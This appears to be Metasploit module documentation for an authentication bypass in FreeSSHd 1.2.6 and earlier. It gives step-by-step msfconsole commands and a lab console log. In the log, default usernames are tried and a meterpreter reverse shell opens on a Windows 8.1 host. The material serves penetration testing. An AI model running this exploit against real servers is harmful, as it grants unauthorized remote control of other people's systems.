## Description This module exploits a vulnerability found in FreeSSHd <= 1.2.6 to bypass authentication. You just need the username (which defaults to root). The exploit has been tested with both password and public key authentication. ## Verification 1. Start msfconsole 2. Do : `use exploit/windows/ssh/freesshd_authbypass` 3. Do : `set RHOST [target IP]` 4. Do : `set PAYLOAD [valid windows payload]` if you want to use other payloads (`windows/meterpreter/reverse_tcp` by default) 5. Do : `set LHOST [Your IP]` 6. Do : `set LPORT [valid port]` (port is `4444` by default) 7. Do : `exploit` 8. If target is vulnerable, a shell (`meterpreter` by default) should pop ## Example with default payload (windows/meterpreter/reverse_tcp) ``` msf > use exploit/windows/ssh/freesshd_authbypass msf exploit(windows/ssh/freesshd_authbypass) > set RHOST 192.168.80.131 RHOST => 192.168.80.131 msf exploit(windows/ssh/freesshd_authbypass) > set LHOST 192.168.80.138 LHOST => 192.168.80.138 msf exploit(windows/ssh/freesshd_authbypass) > exploit [*] Started reverse TCP handler on 192.168.80.138:4444 [*] 192.168.80.131:22 - Trying username '4Dgifts' [*] 192.168.80.131:22 - Trying username 'EZsetup' [*] 192.168.80.131:22 - Trying username 'OutOfBox' [*] 192.168.80.131:22 - Trying username 'ROOT' [*] Sending stage (179779 bytes) to 192.168.80.131 [*] Meterpreter session 2 opened (192.168.80.138:4444 -> 192.168.80.131:49166) at 2018-11-16 16:10:33 +0800 meterpreter > sysinfo Computer : SSH-TEST-SERVER OS : Windows 8.1 (Build 9600).
